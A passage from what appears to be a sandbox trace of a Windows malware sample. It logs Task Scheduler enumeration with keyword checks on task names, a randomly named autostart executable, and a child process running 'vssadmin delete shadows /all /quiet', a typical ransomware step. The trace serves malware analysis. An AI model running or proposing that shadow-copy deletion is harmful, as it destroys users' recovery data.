ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0046.848] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0048.431] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0048.431] IRegisteredTaskCollection:get_Item (in: This=0x2654030, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0048.431] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="UPnPHostConfig") returned 0x0 [0048.431] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0048.794] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x503dd8 [0048.794] wcsstr (_Str="upnphostconfig", _SubStr="reboot") returned 0x0 [0048.794] wcsstr (_Str="upnphostconfig", _SubStr="restart") returned 0x0 [0048.795] wcsstr (_Str="upnphostconfig", _SubStr="shutdown") returned 0x0 [0048.795] wcsstr (_Str="upnphostconfig", _SubStr="logoff") returned 0x0 [0048.795] wcsstr (_Str="upnphostconfig", _SubStr=".bat") returned 0x0 [0048.795] wcsstr (_Str="upnphostconfig", _SubStr="backup") returned 0x0 [0048.795] wcsstr (_Str="upnphostconfig", _SubStr=".cmd") returned 0x0 [0048.795] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503dd8) returned 1 [0048.795] IRegisteredTask:get_Definition (in: This=0x2652e48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653e30) returned 0x0 [0051.444] ITaskDefinition:get_Actions (in: This=0x2653e30, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652e90) returned 0x0 [0051.444] IActionCollection:get_Count (in: This=0x2652e90, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0051.444] IActionCollection:get_Item (in: This=0x2652e90, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x26540b0) returned 0x0 [0051.444] IAction:get_Type (in: This=0x26540b0, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0051.444] IUnknown:QueryInterface (in: This=0x26540b0, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x26540b0) returned 0x0 [0051.444] IExecAction:get_Path (in: This=0x26540b0, pPath=0x2ffad8 | out: pPath=0x2ffad8*="sc.exe") returned 0x0 [0051.445] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa4f0 [0051.445] wcsstr (_Str="sc.exe", _SubStr="reboot") returned 0x0 [0051.445] wcsstr (_Str="sc.exe", _SubStr="restart") returned 0x0 [0051.445] wcsstr (_Str="sc.exe", _SubStr="shutdown") returned 0x0 [0051.445] wcsstr (_Str="sc.exe", _SubStr="logoff") returned 0x0 [0051.445] wcsstr (_Str="sc.exe", _SubStr=".bat") returned 0x0 [0051.445] wcsstr (_Str="sc.exe", _SubStr="backup") returned 0x0 [0051.445] wcsstr (_Str="sc.exe", _SubStr=".cmd") returned 0x0 [0051.445] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0051.445] IExecAction:get_Arguments (in: This=0x26540b0, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*="config upnphost start= auto") returned 0x0 [0051.445] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr="reboot") returned 0x0 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr="restart") returned 0x0 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr="shutdown") returned 0x0 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr="logoff") returned 0x0 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr=".bat") returned 0x0 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr="backup") returned 0x0 [0051.445] wcsstr (_Str="config upnphost start= auto", _SubStr=".cmd") returned 0x0 [0051.445] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0051.445] IUnknown:Release (This=0x26540b0) returned 0x2 [0051.445] IUnknown:Release (This=0x26540b0) returned 0x1 [0051.445] IUnknown:Release (This=0x2652e90) returned 0x1 [0051.445] IUnknown:Release (This=0x2653e30) returned 0x0 [0051.445] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.445] IUnknown:Release (This=0x2654030) returned 0x0 [0051.445] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0051.870] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0051.870] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.870] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0051.870] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0051.870] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0051.871] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0051.871] IRegisteredTaskCollection:get_Item (in: This=0x2654030, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0051.871] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="HiveUploadTask") returned 0x0 [0051.871] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0051.874] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.874] IUnknown:Release (This=0x2654030) returned 0x0 [0051.874] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0051.875] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0051.875] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.875] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0051.875] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0051.875] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0051.876] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0051.876] IUnknown:Release (This=0x2654030) returned 0x0 [0051.876] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0051.876] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0051.876] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.876] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0051.876] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0051.876] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0051.877] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0051.877] IRegisteredTaskCollection:get_Item (in: This=0x2654030, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0051.877] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="QueueReporting") returned 0x0 [0051.877] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=1) returned 0x0 [0051.879] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.879] IUnknown:Release (This=0x2654030) returned 0x0 [0051.879] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0051.880] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0051.880] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.880] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0051.880] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0051.880] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0051.880] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=0) returned 0x0 [0051.881] IUnknown:Release (This=0x2654030) returned 0x0 [0051.881] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0051.881] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0051.881] IUnknown:Release (This=0x2652e48) returned 0x0 [0051.881] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0051.881] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0051.881] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0051.882] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0051.882] IRegisteredTaskCollection:get_Item (in: This=0x2654030, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0051.882] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="UpdateLibrary") returned 0x0 [0051.882] IRegisteredTask:get_State (in: This=0x2652e48, pState=0x2ffae0 | out: pState=0x2ffae0*=3) returned 0x0 [0051.884] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1c) returned 0x503d10 [0051.884] wcsstr (_Str="updatelibrary", _SubStr="reboot") returned 0x0 [0051.884] wcsstr (_Str="updatelibrary", _SubStr="restart") returned 0x0 [0051.884] wcsstr (_Str="updatelibrary", _SubStr="shutdown") returned 0x0 [0051.884] wcsstr (_Str="updatelibrary", _SubStr="logoff") returned 0x0 [0051.884] wcsstr (_Str="updatelibrary", _SubStr=".bat") returned 0x0 [0051.884] wcsstr (_Str="updatelibrary", _SubStr="backup") returned 0x0 [0051.884] wcsstr (_Str="updatelibrary", _SubStr=".cmd") returned 0x0 [0051.884] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0051.884] IRegisteredTask:get_Definition (in: This=0x2652e48, ppDefinition=0x2ffaec | out: ppDefinition=0x2ffaec*=0x2653ea8) returned 0x0 [0061.657] ITaskDefinition:get_Actions (in: This=0x2653ea8, ppActions=0x2ffaf8 | out: ppActions=0x2ffaf8*=0x2652e90) returned 0x0 [0061.657] IActionCollection:get_Count (in: This=0x2652e90, pCount=0x2ffacc | out: pCount=0x2ffacc*=1) returned 0x0 [0061.658] IActionCollection:get_Item (in: This=0x2652e90, index=1, ppAction=0x2ffafc | out: ppAction=0x2ffafc*=0x2654070) returned 0x0 [0061.658] IAction:get_Type (in: This=0x2654070, pType=0x2ffac8 | out: pType=0x2ffac8*=0) returned 0x0 [0061.658] IUnknown:QueryInterface (in: This=0x2654070, riid=0x86064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x2ffb00 | out: ppvObject=0x2ffb00*=0x2654070) returned 0x0 [0061.658] IExecAction:get_Path (in: This=0x2654070, pPath=0x2ffad8 | out: pPath=0x2ffad8*="\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"") returned 0x0 [0061.658] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x66) returned 0x5037c8 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="reboot") returned 0x0 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="restart") returned 0x0 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="shutdown") returned 0x0 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="logoff") returned 0x0 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".bat") returned 0x0 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="backup") returned 0x0 [0061.658] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".cmd") returned 0x0 [0061.658] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x5037c8) returned 1 [0061.658] IExecAction:get_Arguments (in: This=0x2654070, pArgument=0x2ffad4 | out: pArgument=0x2ffad4*=0x0) returned 0x0 [0061.658] IUnknown:Release (This=0x2654070) returned 0x2 [0061.658] IUnknown:Release (This=0x2654070) returned 0x1 [0061.658] IUnknown:Release (This=0x2652e90) returned 0x1 [0061.658] IUnknown:Release (This=0x2653ea8) returned 0x0 [0061.658] IUnknown:Release (This=0x2652e48) returned 0x0 [0061.658] IUnknown:Release (This=0x2654030) returned 0x0 [0061.658] ITaskFolder:GetFolders (in: This=0x2650a38, flags=0, ppFolders=0x2ffb30 | out: ppFolders=0x2ffb30*=0x2652e48) returned 0x0 [0065.506] ITaskFolderCollection:get_Count (in: This=0x2652e48, pCount=0x2ffb24 | out: pCount=0x2ffb24*=0) returned 0x0 [0065.506] IUnknown:Release (This=0x2652e48) returned 0x0 [0065.506] TaskScheduler:IUnknown:Release (This=0x2650a38) returned 0x0 [0065.506] ITaskFolderCollection:get_Item (in: This=0x6efd18, index=0x2ffb2c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x2ffb54 | out: ppFolder=0x2ffb54*=0x2650a38) returned 0x0 [0065.506] ITaskFolder:GetTasks (in: This=0x2650a38, flags=0, ppTasks=0x2ffaf4 | out: ppTasks=0x2ffaf4*=0x2654030) returned 0x0 [0065.755] IRegisteredTaskCollection:get_Count (in: This=0x2654030, pCount=0x2ffad0 | out: pCount=0x2ffad0*=1) returned 0x0 [0065.755] IRegisteredTaskCollection:get_Item (in: This=0x2654030, index=0x2ffaa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x2ffb04 | out: ppRegisteredTask=0x2ffb04*=0x2652e48) returned 0x0 [0065.755] IRegisteredTask:get_Name (in: This=0x2652e48, pName=0x2ffadc | out: pName=0x2ffadc*="ConfigNotification") returned 0x0 [0065.755] IRegisteredTask:get_State (This=0x2652e48, pState=0x2ffae0) Thread: id = 54 os_tid = 0xa54 Thread: id = 1368 os_tid = 0x16b0 Thread: id = 1409 os_tid = 0x1754 Process: id = "5" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x50bb7000" os_pid = "0x984" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x968" cmd_line = "C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x988 Thread: id = 17 os_tid = 0x9c0 Thread: id = 18 os_tid = 0x9c4 Thread: id = 19 os_tid = 0x9cc Thread: id = 20 os_tid = 0x9d0 Process: id = "6" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4ff71000" os_pid = "0x9b8" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x960" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005643e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 21 os_tid = 0x9e8 Thread: id = 22 os_tid = 0x9e0 Thread: id = 23 os_tid = 0x9d8 [0036.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf4daa0 | out: lpSystemTimeAsFileTime=0xf4daa0*(dwLowDateTime=0x93d656c0, dwHighDateTime=0x1d5945e)) [0036.528] GetCurrentProcessId () returned 0x9b8 [0036.528] GetCurrentThreadId () returned 0x9d8 [0036.528] GetTickCount () returned 0x11426f2 [0036.528] QueryPerformanceCounter (in: lpPerformanceCount=0xf4daa8 | out: lpPerformanceCount=0xf4daa8*=15673793798) returned 1 [0036.528] malloc (_Size=0x100) returned 0x3d8e80 Thread: id = 24 os_tid = 0x9d4 Thread: id = 25 os_tid = 0x9c8 Thread: id = 26 os_tid = 0x9bc Thread: id = 27 os_tid = 0x9f0 Thread: id = 43 os_tid = 0x9f8 Thread: id = 44 os_tid = 0xa14 Thread: id = 53 os_tid = 0xa4c Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x9b8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 28 os_tid = 0x314 Thread: id = 29 os_tid = 0x244 Thread: id = 30 os_tid = 0x76c Thread: id = 31 os_tid = 0x758 Thread: id = 32 os_tid = 0x74c Thread: id = 33 os_tid = 0x72c Thread: id = 34 os_tid = 0x71c Thread: id = 35 os_tid = 0x718 Thread: id = 36 os_tid = 0x638 Thread: id = 37 os_tid = 0x154 Thread: id = 38 os_tid = 0x150 Thread: id = 39 os_tid = 0x128 Thread: id = 40 os_tid = 0x12c Thread: id = 41 os_tid = 0x120 Thread: id = 42 os_tid = 0x3fc Thread: id = 52 os_tid = 0xa38 Thread: id = 56 os_tid = 0xab8 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4f977000" os_pid = "0x9fc" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x9b8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00057e9b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 45 os_tid = 0xa18 Thread: id = 46 os_tid = 0xa10 Thread: id = 47 os_tid = 0xa0c Thread: id = 48 os_tid = 0xa08 Thread: id = 49 os_tid = 0xa04 Thread: id = 50 os_tid = 0xa00 Thread: id = 51 os_tid = 0xa20 Process: id = "9" image_name = "cd46de9c.exe" filename = "c:\\program files (x86)\\cd46de9c\\cd46de9c.exe" page_root = "0x7a817000" os_pid = "0x4dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1599 os_tid = 0x4e0 [0117.058] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x254) returned 0x2e3110 [0119.547] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x6) returned 0x2e3370 [0119.547] RtlInitAnsiString (in: DestinationString=0x2bf7cc, SourceString="NTDLL" | out: DestinationString="NTDLL") [0119.547] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf7d4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0119.547] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xc) returned 0x2e3398 [0119.547] RtlFreeAnsiString (AnsiString="N") [0119.547] RtlInitUnicodeString (in: DestinationString=0x2bf7d8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0119.547] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2bf7e4 | out: BaseAddress=0x2bf7e4*=0x77860000) returned 0x0 [0119.548] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2e3398) returned 1 [0119.549] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2e3370) returned 1 [0119.549] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x6) returned 0x2e3370 [0119.549] RtlInitAnsiString (in: DestinationString=0x2bf7cc, SourceString="NTDLL" | out: DestinationString="NTDLL") [0119.549] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf7d4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0119.549] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xc) returned 0x2e3398 [0119.549] RtlFreeAnsiString (AnsiString="N") [0119.549] RtlInitUnicodeString (in: DestinationString=0x2bf7d8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0119.549] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2bf7e4 | out: BaseAddress=0x2bf7e4*=0x77860000) returned 0x0 [0119.549] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2e3398) returned 1 [0119.550] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2e3370) returned 1 [0119.550] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x6) returned 0x2e3370 [0119.550] RtlInitAnsiString (in: DestinationString=0x2bf7cc, SourceString="NTDLL" | out: DestinationString="NTDLL") [0119.551] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf7d4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0119.551] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xc) returned 0x2e3398 [0119.551] RtlFreeAnsiString (AnsiString="N") [0119.551] RtlInitUnicodeString (in: DestinationString=0x2bf7d8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0119.551] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2bf7e4 | out: BaseAddress=0x2bf7e4*=0x77860000) returned 0x0 [0119.551] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2e3398) returned 1 [0119.551] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2e3370) returned 1 [0119.554] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="advapi32.dll" | out: DestinationString="advapi32.dll") [0119.554] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x75840000) returned 0x0 [0121.124] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0121.124] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x75380000) returned 0x0 [0123.409] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="shell32.dll" | out: DestinationString="shell32.dll") [0123.409] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x762d0000) returned 0x0 [0123.426] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0123.426] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x75350000) returned 0x0 [0126.730] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x7) returned 0x2f0dd0 [0126.730] RtlInitAnsiString (in: DestinationString=0x2bf7cc, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0126.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf7d4, SourceString="SRVCLI", 